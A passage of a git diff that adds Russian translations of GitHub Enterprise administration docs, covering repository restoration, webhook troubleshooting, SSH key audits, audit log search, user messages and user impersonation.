repository restoration + +Usually, if someone deletes a repository, it will be available on disk for 90 days and can be restored via the site admin dashboard. For more information, see "[Site admin dashboard](/admin/configuration/configuring-your-enterprise/site-admin-dashboard)." + +Unless a legal hold is in effect on a user or organization, after 90 days the repository is purged and deleted forever. + +If a repository was part of a fork network when it was deleted, the restored repository will be detached from the original fork network. + +It can take up to an hour after a repository is deleted before that repository is available for restoration. + +Restoring a repository will not restore release attachments or team permissions. Issues that are restored will not be labeled. + +## Restoring a deleted repository + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.search-user-or-org %} +{% data reusables.enterprise_site_admin_settings.click-user-or-org %} +1. In the {% octicon "repo" aria-label="The repo icon" %} **Repositories** section, click the {% octicon "trash" aria-label="The trash icon" %} **Deleted repositories** link. +1. Find the repository you want to restore in the deleted repositories list, then to the right of the repository name click **Restore**. +1. To confirm you would like to restore the named repository, click **Restore**. + +## Further reading + +- "[Placing a legal hold on a user or organization](/admin/user-management/managing-users-in-your-enterprise/placing-a-legal-hold-on-a-user-or-organization)" diff --git a/translations/ru-RU/content/admin/user-management/managing-repositories-in-your-enterprise/troubleshooting-service-hooks.md b/translations/ru-RU/content/admin/user-management/managing-repositories-in-your-enterprise/troubleshooting-service-hooks.md new file mode 100644 index 000000000000..0aa5fa8c2c89 --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-repositories-in-your-enterprise/troubleshooting-service-hooks.md @@ -0,0 +1,53 @@ +--- +title: Устранение неполадок с перехватчиками событий +intro: 'Если полезные данные не доставляются, проверьте наличие следующих распространенных проблем.' +redirect_from: + - /enterprise/admin/articles/troubleshooting-service-hooks + - /enterprise/admin/developer-workflow/troubleshooting-service-hooks + - /enterprise/admin/user-management/troubleshooting-service-hooks + - /admin/user-management/troubleshooting-service-hooks +versions: + ghes: '*' + ghae: '*' +topics: + - Enterprise +shortTitle: Troubleshoot service hooks +ms.openlocfilehash: 224a0071d87407f9f6bb15ababbdb0c7171f8799 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145116280' +--- +## Получение информации о доставках + +Сведения для последнего ответа всех доставок перехватчиков событий можно найти в любом репозитории. + +{% data reusables.enterprise_site_admin_settings.access-settings %} +2. Перейдите в исследуемый репозиторий. +3. На боковой панели навигации щелкните ссылку **Перехватчики**. + ![Боковая панель перехватчиков](/assets/images/enterprise/settings/Enterprise-Hooks-Sidebar.png) +4. Под перехватчиком события, с которым возникли проблемы, щелкните ссылку **Последняя доставка**. + ![Сведения о перехватчике](/assets/images/enterprise/settings/Enterprise-Hooks-Details.png) +5. В разделе **Удаленные вызовы** вы увидите заголовки, которые использовались при отправке запросов POST на удаленный сервер, а также ответы, которые сервер отправил в вашу установку. + +## Просмотр полезных данных + +{% data reusables.enterprise_site_admin_settings.access-settings %} +2. Перейдите в исследуемый репозиторий. +3. На боковой панели навигации щелкните ссылку **Перехватчики**. + ![Боковая панель перехватчиков](/assets/images/enterprise/settings/Enterprise-Hooks-Sidebar.png) +4. Под перехватчиком события, с которым возникли проблемы, щелкните ссылку **Последняя доставка**. +5. Щелкните **Доставка**. + ![Просмотр полезных данных](/assets/images/enterprise/settings/Enterprise-Hooks-Payload.png) + +## Просмотр прошедших доставок + +Доставки хранятся в течение 15 дней. + +{% data reusables.enterprise_site_admin_settings.access-settings %} +2. Перейдите в исследуемый репозиторий. +3. На боковой панели навигации щелкните ссылку **Перехватчики**. + ![Боковая панель перехватчиков](/assets/images/enterprise/settings/Enterprise-Hooks-Sidebar.png) +4. Под перехватчиком события, с которым возникли проблемы, щелкните ссылку **Последняя доставка**. +5. Чтобы просмотреть другие доставки в конкретный перехватчик, щелкните **Дополнительные сведения для этого идентификатора перехватчика**: ![Просмотр других доставок](/assets/images/enterprise/settings/Enterprise-Hooks-More-Deliveries.png) diff --git a/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/auditing-ssh-keys.md b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/auditing-ssh-keys.md new file mode 100644 index 000000000000..bffdb0c9a864 --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/auditing-ssh-keys.md @@ -0,0 +1,73 @@ +--- +title: Аудит ключей SSH +intro: Администраторы сайта могут инициировать аудит ключей SSH на уровне экземпляра. +redirect_from: + - /enterprise/admin/articles/auditing-ssh-keys + - /enterprise/admin/user-management/auditing-ssh-keys + - /admin/user-management/auditing-ssh-keys +versions: + ghes: '*' + ghae: '*' +type: how_to +topics: + - Auditing + - Enterprise + - Security + - SSH +ms.openlocfilehash: 57fab80e5480c203d8ca8785e1b151ee7616f3d2 +ms.sourcegitcommit: 8cfc4aedcfcd5b52758adf20e7257cd6715d84f1 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148009943' +--- +После инициирования аудит отключает все существующие ключи SSH и заставляет пользователей утверждать или отклонять их, прежде чем они смогут клонировать, извлекать или отправлять в любые репозитории. Аудит полезен в ситуациях, когда сотрудник или подрядчик покидает компанию и необходимо убедиться, что все ключи проверены. + +## Инициирование аудита + +Можно инициировать аудит ключа SSH на вкладке "Все пользователи" панели мониторинга администратора сайта: + +![Запуск аудита открытого ключа](/assets/images/enterprise/security/Enterprise-Start-Key-Audit.png) + +После нажатия кнопки "Начать аудит открытого ключа" откроется экран подтверждения, объясняющий, что произойдет дальше: + +![Подтверждение аудита](/assets/images/enterprise/security/Enterprise-Begin-Audit.png) + +После нажатия кнопки "Начать аудит" все ключи SSH становятся недействительными и требуют утверждения. Вы увидите уведомление о начале аудита. + +## Что видят пользователи + +Если пользователь пытается выполнить любую операцию Git по протоколу SSH, она завершится ошибкой и предоставит ему следующее сообщение: + +```shell +ERROR: Hi USERNAME. We're doing an SSH key audit. +Please visit http(s)://HOSTNAME/settings/ssh/audit/2 +to approve this key so we know it's safe. +Fingerprint: ed:21:60:64:c0:dc:2b:16:0f:54:5f:2b:35:2a:94:91 +fatal: The remote end hung up unexpectedly +``` + +Когда пользователь следует по ссылке, ему будет предложено утвердить ключи в своей учетной записи: + +![Аудит ключей](/assets/images/enterprise/security/Enterprise-Audit-SSH-Keys.jpg) + +После утверждения или отклонения ключей пользователь сможет взаимодействовать с репозиториями, как обычно. + +## Добавление ключа SSH + +{% ifversion ghes %} + +Когда новый пользователь добавляет ключ SSH в учетную запись, чтобы подтвердить доступ, {% data variables.product.product_name %} запросит проверку подлинности. Дополнительные сведения см. в разделе "[Режим sudo](/authentication/keeping-your-account-and-data-secure/sudo-mode)". + +{% endif %} + +При добавлении ключа пользователь получит уведомление по электронной почте, которое будет выглядеть примерно так: + + The following SSH key was added to your account: + + [title] + ed:21:60:64:c0:dc:2b:16:0f:54:5f:2b:35:2a:94:91 + + If you believe this key was added in error, you can remove the key and disable access at the following location: + + http(s)://HOSTNAME/settings/ssh diff --git a/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise.md b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise.md new file mode 100644 index 000000000000..f63ac984b93c --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise.md @@ -0,0 +1,123 @@ +--- +title: Аудит пользователей на вашем предприятии +intro: 'На панели мониторинга журнала аудита представлены действия, выполненные всеми пользователями и организациями в течение текущего месяца и предыдущих шести месяцев. В журнале аудита указывает, кто выполнил действие, что это было за действие и когда оно было выполнено.' +redirect_from: + - /enterprise/admin/guides/user-management/auditing-users-across-an-organization + - /enterprise/admin/user-management/auditing-users-across-your-instance + - /admin/user-management/auditing-users-across-your-instance + - /admin/user-management/auditing-users-across-your-enterprise +versions: + ghes: '*' + ghae: '*' +type: how_to +topics: + - Auditing + - Enterprise + - Organizations + - Security + - User account +shortTitle: Audit users +ms.openlocfilehash: 18ea00b69f452ff496670fbd31e41bb8038cc46d +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '146331691' +--- +## Доступ к журналу аудита + +Панель мониторинга журнала аудита позволяет наглядно отобразить данные аудита на предприятии. + +![Панель мониторинга журнала аудита для всего экземпляра](/assets/images/enterprise/site-admin-settings/audit-log-dashboard-admin-center.png) + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.audit-log-tab %} + +Можно перемещаться по карте и изменять масштаб, чтобы видеть события по всему миру. Наведите указатель мыши на страну, чтобы получить быстрый подсчет событий в этой стране. + +## Поиск событий на вашем предприятии + +В журнале аудита перечислены следующие сведения о действиях, выполненных на вашем предприятии: + +* [Репозиторий](#search-based-on-the-repository), в котором было выполнено действие. +* [Пользователь](#search-based-on-the-user), выполнивший действие. +* [Организация](#search-based-on-the-organization), по отношению к которой выполняется действие. +* [Действие](#search-based-on-the-action-performed), которое было выполнено. +* [Страна](#search-based-on-the-location), в которой было выполнено действие. +* [Дата и время](#search-based-on-the-time-of-action), когда произошло действие. + +{% warning %} + +**Примечания.** + +- Хотя вы не можете использовать текст для поиска записей аудита, вы можете создавать поисковые запросы, используя различные фильтры. {% data variables.product.product_name %} поддерживает множество операторов для поиска по {% data variables.product.product_name %}. Дополнительные сведения см. в разделе [Поиск в {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/about-searching-on-github). +- Записи аудита доступны за текущий месяц и за каждый день предыдущих шести месяцев. + +{% endwarning %} + +### Поиск по репозиторию + +Квалификатор `repo` ограничивает действия по определенному репозиторию, принадлежащему организации. Пример: + +* `repo:my-org/our-repo` находит все произошедшие события для репозитория `our-repo` в организации `my-org`. +* `repo:my-org/our-repo repo:my-org/another-repo` находит все произошедшие события для репозиториев `our-repo` и `another-repo` в организации `my-org`. +* `-repo:my-org/not-this-repo` исключает все произошедшие события для репозитория `not-this-repo` в организации `my-org`. + +Вы должны включить название своей организации в квалификатор `repo`; поиск только для `repo:our-repo` осуществляться не будет. + +### Поиск по пользователю + +Квалификатор `actor` определяет область событий на основе участника вашей организации, выполнившего действие. Пример: + +* `actor:octocat` находит все события, выполненные пользователем `octocat`. +* `actor:octocat actor:hubot` находит все события, выполненные пользователями `octocat` и `hubot`. +* `-actor:hubot` исключает все события, выполненные пользователем `hubot`. + +Можно использовать только имя пользователя {% data variables.product.product_name %}, а не настоящее имя человека. + +### Поиск по организации + +Квалификатор `org` ограничивает действия определенной организацией. Пример: + +* `org:my-org` находит все события, произошедшие в организации `my-org`. +* `org:my-org action:team` находит все события команды, выполненные в организации `my-org`. +* `-org:my-org` исключает все события, произошедшие в организации `my-org`. + +### Поиск с учетом выполненного действия + +Квалификатор `action` выполняет поиск определенных событий, сгруппированных по категориям. Сведения о событиях, связанных с этими категориями, см. в статье [События журнала аудита для предприятия](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise). + +| Имя категории | Описание +|------------------|------------------- +| `hook` | Содержит все действия, связанные с веб-перехватчиками. +| `org` | Содержит все действия, связанные с членством в организации +| `repo` | Содержит все действия, связанные с репозиториями, принадлежащими организации. +| `team` | Содержит все действия, связанные с командами в организации. + +Вы можете искать конкретные наборы действий с помощью этих терминов. Пример: + +* `action:team` находит все события, сгруппированные в категории команды. +* `-action:billing` исключает все события в категории выставления счетов. + +Каждая категория содержит набор связанных событий, которые вы можете фильтровать. Пример: + +* `action:team.create` находит все события, в которых создавалась команда. +* `-action:billing.change_email` исключает все события, связанные с изменением адреса электронной почты для выставления счетов. + +### Поиск по расположению + +Квалификатор `country` фильтрует действия по стране происхождения. +- Можно использовать двухбуквенный короткий код страны или ее полное название. +- Страны с пробелами в названии должны быть заключены в кавычки. Пример: + * `country:de` находит все события, произошедшие в Германии. + * `country:Mexico` находит все события, произошедшие в Мексике. + * `country:"United States"` находит события, произошедшие в США. + +### Поиск по времени действия + +Квалификатор `created` фильтрует действия по времени, когда они случились. +- Определите даты с помощью формата `YYYY-MM-DD` — год, за которым следует месяц, а в конце указан день. +- Даты поддерживают [квалификаторы "больше чем", "меньше чем" и квалификаторы диапазона](/enterprise/user/articles/search-syntax). Пример: + * `created:2014-07-08` находит все события, произошедшие 8 июля 2014 г. + * `created:>=2014-07-01` находит все события, произошедшие после 8 июля 2014 г. + * `created:<=2014-07-01` находит все события, произошедшие до 8 июля 2014 г. + * `created:2014-07-01..2014-07-31` находит все события, произошедшие в июле 2014 г. diff --git a/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/best-practices-for-user-security.md b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/best-practices-for-user-security.md new file mode 100644 index 000000000000..2a27f4940de8 --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/best-practices-for-user-security.md @@ -0,0 +1,39 @@ +--- +title: Рекомендации по безопасности пользователей +intro: '{% ifversion ghes %}Помимо мер безопасности на уровне экземпляра (SSL, изоляция поддомена, настройка брандмауэра), которые может реализовать администратор сайта, имеются {% else %}Имеются {% endif %} действия, которые пользователи могут сами предпринять для защиты вашего предприятия.' +redirect_from: + - /enterprise/admin/user-management/best-practices-for-user-security + - /admin/user-management/best-practices-for-user-security +versions: + ghes: '*' + ghae: '*' +type: reference +topics: + - Enterprise + - Security + - User account +shortTitle: User security best practices +ms.openlocfilehash: 57d19d97a8944ac20d6b90794bcf0cda63fc5bd0 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146331659' +--- +{% ifversion ghes %} +## Включение двухфакторной проверки подлинности + +Двухфакторная проверка подлинности (2FA) — это способ входа на веб-сайты и в службы, для проверки подлинности которым помимо пароля требуется второй фактор. В случае {% data variables.product.prodname_ghe_server %} второй фактор является одноразовым кодом проверки подлинности, созданным приложением на смартфоне пользователя. Настоятельно рекомендуем пользователям в учетных записях включить двухфакторную проверку подлинности. Чтобы получить несанкционированный доступ к учетной записи, при двухфакторной проверке подлинности необходимо скомпрометировать пароль пользователя и его смартфон. + +Дополнительные сведения о настройке двухфакторной проверки подлинности см. в разделе "[О двухфакторной проверке подлинности](/enterprise/user/articles/about-two-factor-authentication)". +{% endif %} + +## Требование диспетчера паролей + +Настоятельно рекомендуем пользователям устанавливать и использовать диспетчер паролей, например [LastPass](https://lastpass.com/) или [1Password](https://1password.com/), на любом компьютере, который используется для подключения к вашей организации. Это улучшает защиту паролей, что затрудняет их подбор или кражу. + +## Ограничение доступа к командам и репозиториям + +Чтобы ограничить потенциальную поверхность атаки в случае нарушения безопасности, настоятельно рекомендуется предоставлять пользователям доступ только к командам и необходимым для работы репозиториям. Так как участники с ролью владельца могут получить в организации доступ ко всем командам и репозиториям, настоятельно рекомендуется как можно реже использовать эту команду. + +Дополнительные сведения о настройке команд и разрешений команды см. в разделе "[Роли в организации](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)". diff --git a/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md new file mode 100644 index 000000000000..0adb8a370f0c --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md @@ -0,0 +1,131 @@ +--- +title: Customizing user messages for your enterprise +shortTitle: Customizing user messages +redirect_from: + - /enterprise/admin/user-management/creating-a-custom-sign-in-message + - /enterprise/admin/user-management/customizing-user-messages-on-your-instance + - /admin/user-management/customizing-user-messages-on-your-instance + - /admin/user-management/customizing-user-messages-for-your-enterprise +intro: 'You can create custom messages that users will see on {% data variables.location.product_location %}.' +versions: + ghes: '*' + ghae: '*' +type: how_to +topics: + - Enterprise + - Maintenance +--- +## About user messages + +There are several types of user messages. +- Messages that appear on the {% ifversion ghes %}sign in or {% endif %}sign out page{% ifversion ghes or ghae %} +- Mandatory messages, which appear once in a pop-up window that must be dismissed{% endif %}{% ifversion ghes or ghae %} +- Announcement banners, which appear at the top of every page{% endif %} + +{% ifversion ghes %} +{% note %} + +**Note:** If you are using SAML for authentication, the sign in page is presented by your identity provider and is not customizable via {% data variables.product.prodname_ghe_server %}. + +{% endnote %} + +You can use Markdown to format your message. For more information, see "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/articles/about-writing-and-formatting-on-github/)." + +## Creating a custom sign in message + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.messages-tab %} +5. {% ifversion ghes %}To the right of{% else %}Under{% endif %} "Sign in page", click **Add message** or **Edit message**. +![{% ifversion ghes %}Add{% else %}Edit{% endif %} message button](/assets/images/enterprise/site-admin-settings/edit-message.png) +6. Under **Sign in message**, type the message you'd like users to see. +![Sign in message](/assets/images/enterprise/site-admin-settings/sign-in-message.png){% ifversion ghes %} +{% data reusables.enterprise_site_admin_settings.message-preview-save %}{% else %} +{% data reusables.enterprise_site_admin_settings.click-preview %} + ![Preview button](/assets/images/enterprise/site-admin-settings/sign-in-message-preview-button.png) +8. Review the rendered message. +![Sign in message rendered](/assets/images/enterprise/site-admin-settings/sign-in-message-rendered.png) +{% data reusables.enterprise_site_admin_settings.save-changes %}{% endif %} +{% endif %} + +## Creating a custom sign out message + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.messages-tab %} +5. {% ifversion ghes or ghae %}To the right of{% else %}Under{% endif %} "Sign out page", click **Add message** or **Edit message**. +![Add message button](/assets/images/enterprise/site-admin-settings/sign-out-add-message-button.png) +6. Under **Sign out message**, type the message you'd like users to see. +![Sign two_factor_auth_header message](/assets/images/enterprise/site-admin-settings/sign-out-message.png){% ifversion ghes or ghae %} +{% data reusables.enterprise_site_admin_settings.message-preview-save %}{% else %} +{% data reusables.enterprise_site_admin_settings.click-preview %} + ![Preview button](/assets/images/enterprise/site-admin-settings/sign-out-message-preview-button.png) +8. Review the rendered message. +![Sign out message rendered](/assets/images/enterprise/site-admin-settings/sign-out-message-rendered.png) +{% data reusables.enterprise_site_admin_settings.save-changes %}{% endif %} + +{% ifversion ghes or ghae %} +## Creating a mandatory message + +You can create a mandatory message that {% data variables.product.product_name %} will show to all users the first time they sign in after you save the message. The message appears in a pop-up window that the user must dismiss before using {% data variables.location.product_location %}. + +Mandatory messages have a variety of uses. + +- Providing onboarding information for new employees +- Telling users how to get help with {% data variables.location.product_location %} +- Ensuring that all users read your terms of service for using {% data variables.location.product_location %} + +If you include Markdown checkboxes in the message, all checkboxes must be selected before the user can dismiss the message. For example, if you include your terms of service in the mandatory message, you can require that each user selects a checkbox to confirm the user has read the terms. + +Each time a user sees a mandatory message, an audit log event is created. The event includes the version of the message that the user saw. For more information see "[Audit log events for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise)." + +{% ifversion display-mandatory-message-again %} {% else %} +{% note %} + +**Note:** If you change the mandatory message for {% data variables.location.product_location %}, users who have already acknowledged the message will not see the new message. + +{% endnote %} +{% endif %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.messages-tab %} +1. To the right of "Mandatory message", click **Add message**. + ![Add mandatory message button](/assets/images/enterprise/site-admin-settings/add-mandatory-message-button.png) +1. Under "Mandatory message", in the text box, type your message. + ![Screenshot of the mandatory message text box](/assets/images/enterprise/site-admin-settings/mandatory-message-text-box.png) +{%- ifversion display-mandatory-message-again %} +1. Optionally, select **Show updated message to all users even if they dismissed the previous one**. +![Screenshot of checkbox that when selected pushes mandatory messages to all users](/assets/images/enterprise/site-admin-settings/push-mandatory-message-checkbox.png) + {% endif %} +{% data reusables.enterprise_site_admin_settings.message-preview-save %} + +{% endif %} + +{% ifversion ghes or ghae %} +## Creating a global announcement banner + +You can set a global announcement banner to be displayed to all users at the top of every page. + +{% ifversion ghae or ghes %} +You can also set an announcement banner{% ifversion ghes %} in the administrative shell using a command line utility or{% endif %} using the API. For more information, see {% ifversion ghes %}"[Command-line utilities](/enterprise/admin/configuration/command-line-utilities#ghe-announce)" and {% endif %}"[{% data variables.product.prodname_enterprise %} administration](/rest/reference/enterprise-admin#announcements)." +{% else %} + +You can also set an announcement banner in the administrative shell using a command line utility. For more information, see "[Command-line utilities](/enterprise/admin/configuration/command-line-utilities#ghe-announce)." + +{% endif %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.messages-tab %} +1. {% ifversion ghes or ghae %}To the right of{% else %}Under{% endif %} "Announcement", click **Add announcement**. + ![Add announcement button](/assets/images/enterprise/site-admin-settings/add-announcement-button.png) +1. Under "Announcement", in the text field, type the announcement you want displayed in a banner. + ![Text field to enter announcement](/assets/images/enterprise/site-admin-settings/announcement-text-field.png) +1. Optionally, under "Expires on", select the calendar drop-down menu and click an expiration date. + ![Calendar drop-down menu to choose expiration date](/assets/images/enterprise/site-admin-settings/expiration-drop-down.png){% ifversion ghe-announce-dismiss %} +1. Optionally, to allow each user to dismiss the announcement, select **User dismissible**. + + ![Screenshot of the "User dismissible" checkbox](/assets/images/enterprise/site-admin-settings/user-dismissible-checkbox.png){% endif %} +{% data reusables.enterprise_site_admin_settings.message-preview-save %} +{% endif %} diff --git a/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/exporting-membership-information-for-your-enterprise.md b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/exporting-membership-information-for-your-enterprise.md new file mode 100644 index 000000000000..0048383cbca7 --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/exporting-membership-information-for-your-enterprise.md @@ -0,0 +1,30 @@ +--- +title: Экспорт сведений о членстве для предприятия +intro: Вы можете экспортировать сведения обо всех членах предприятия. +versions: + feature: enterprise-member-csv +topics: + - Enterprise +shortTitle: Export membership information +permissions: Enterprise owners can export membership information for an enterprise. +ms.openlocfilehash: ba7519aae1b38cd629a46baeacd5edc9d138efdc +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106424' +--- +{% note %} + +**Примечание:** Экспорт сведений о членстве для enterpirise в настоящее время находится в бета-версии и может быть изменен. + +{% endnote %} + +Чтобы выполнить аудит людей с доступом к ресурсам предприятия, можно скачать CSV-отчет со сведениями о членстве для вашего предприятия. + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.people-tab %} +1. Справа от "Участники" щелкните **{% octicon "download" aria-label="The download icon" %} CSV Report**. + + - Если в вашей организации менее 1000 участников, отчет будет скачан немедленно. + - Если в вашей организации 1000 или более участников, вы скоро получите электронное письмо со ссылкой для скачивания отчета. + ![Снимок экрана: кнопка "Отчет CSV"](/assets/images/help/business-accounts/csv-report-button.png) diff --git a/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/impersonating-a-user.md b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/impersonating-a-user.md new file mode 100644 index 000000000000..33a65ecac5bb --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/impersonating-a-user.md @@ -0,0 +1,43 @@ +--- +title: Олицетворение пользователя +intro: 'Вы можете олицетворять пользователей и выполнять действия от их имени, чтобы устранить неполадки, выполнить разблокировку или в силу других законных причин.' +permissions: Enterprise owners can impersonate users within their enterprise. +versions: + ghes: '*' + ghae: '*' +type: how_to +topics: + - Administrator + - Enterprise + - User account +shortTitle: Impersonate a user +ms.openlocfilehash: df0513c3ca2931378e656f228939540dd5ea5816 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109288' +--- +## Сведения об олицетворении пользователя + +Если необходимо временно взять на себя учетную запись пользователя, например когда нужно устранить неполадки с проблемой пользователя или когда пользователь недоступен, а требуется срочное действие, можно запустить сеанс олицетворения для выполнения действий от его имени. + +Для каждого сеанса олицетворения необходимо указать причину. Сеанс ограничен одним часом, и у вас будет тот же доступ, что и у пользователя, которого вы олицетворяете. + +Действия, выполняемые во время сеанса олицетворения, записываются как события в журнал аудита предприятия, а также в журнал безопасности олицетворенного пользователя. Олицетворенному пользователю при запуске сеанса олицетворения отправляется уведомление по электронной почте. Дополнительные сведения см. в разделах [События журнала аудита для предприятия](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise) и [Просмотр журнала безопасности](/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log). + +## Олицетворение пользователя + +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.search-user %} {% data reusables.enterprise_site_admin_settings.click-user %} +4. В левом верхнем углу страницы щелкните **Сведения о пользователе**. + + ![Сведения о пользователе](/assets/images/enterprise/stafftools/user-info.png) +5. В разделе "Зона опасности" щелкните **Войти на GitHub как @username** + + ![Олицетворение пользователя](/assets/images/enterprise/stafftools/impersonate.png) +6. Выберите причину из раскрывающегося списка. Если выбрать **Другое**, необходимо предоставить дополнительный контекст в разделе **Заметки**. Щелкните **Начать олицетворение**, чтобы начать сеанс. + + ![Причина олицетворения](/assets/images/enterprise/stafftools/impersonation-reason.png) +7. Когда вы будете готовы завершить сеанс олицетворения, щелкните **Вернуться к обычной жизни в качестве имя_пользователя** в верхней части страницы. + + ![Закончить олицетворение](/assets/images/enterprise/stafftools/end-impersonation.png) diff --git a/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/index.md b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/index.md new file mode 100644 index 000000000000..9f11d20e640b --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/index.md @@ -0,0 +1,46 @@ +--- +title: Управление пользователями в организации +intro: Вы можете выполнять аудит действий пользователей и управлять параметрами пользователей. +redirect_from: + - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise + - /enterprise/admin/guides/user-management/enabling-avatars-and-identicons + - /enterprise/admin/user-management/basic-account-settings + - /enterprise/admin/user-management/user-security + - /enterprise/admin/user-management/managing-users-in-your-enterprise + - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise-account/managing-users-in-your-enterprise-account + - /articles/managing-users-in-your-enterprise-account + - /articles/managing-users-in-your-enterprise +versions: + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - Enterprise +children: + - /roles-in-an-enterprise + - /best-practices-for-user-security + - /inviting-people-to-manage-your-enterprise + - /promoting-or-demoting-a-site-administrator + - /managing-support-entitlements-for-your-enterprise + - /viewing-people-in-your-enterprise + - /exporting-membership-information-for-your-enterprise + - /viewing-and-managing-a-users-saml-access-to-your-enterprise + - /auditing-users-across-your-enterprise + - /impersonating-a-user + - /removing-a-member-from-your-enterprise + - /managing-dormant-users + - /suspending-and-unsuspending-users + - /placing-a-legal-hold-on-a-user-or-organization + - /auditing-ssh-keys + - /customizing-user-messages-for-your-enterprise + - /rebuilding-contributions-data +shortTitle: Manage users +ms.openlocfilehash: 763277882c2af96505c2a6d4c236c05475ab9f3f +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148008661' +--- + diff --git a/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md new file mode 100644 index 000000000000..df37311b0604 --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md @@ -0,0 +1,78 @@ +--- +title: Приглашение пользователей для управления предприятием +intro: 'Вы можете {% ifversion ghec %}пригласить людей стать владельцами предприятия или менеджерами по выставлению счетов для {% elsif ghes %}добавить владельцев предприятия в {% endif %} вашей корпоративной учетной записи. Вы также можете удалить владельцев предприятия {% ifversion ghec %}или менеджеров по выставлению счетов {% endif %}, которым больше не нужен доступ к корпоративной учетной записи.' +permissions: 'Enterprise owners can {% ifversion ghec %}invite other people to become{% elsif ghes %}add{% endif %} additional enterprise administrators.' +redirect_from: + - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise + - /github/setting-up-and-managing-your-enterprise-account/inviting-people-to-manage-your-enterprise-account + - /articles/inviting-people-to-collaborate-in-your-business-account + - /articles/inviting-people-to-manage-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise/inviting-people-to-manage-your-enterprise +versions: + ghec: '*' + ghes: '*' +type: how_to +topics: + - Administrator + - Enterprise + - User account +shortTitle: Invite people to manage +ms.openlocfilehash: 7cdbee6f1b37a8300f3523712c6e0dda4293af74 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146180450' +--- +## Сведения о пользователях, которые могут управлять корпоративной учетной 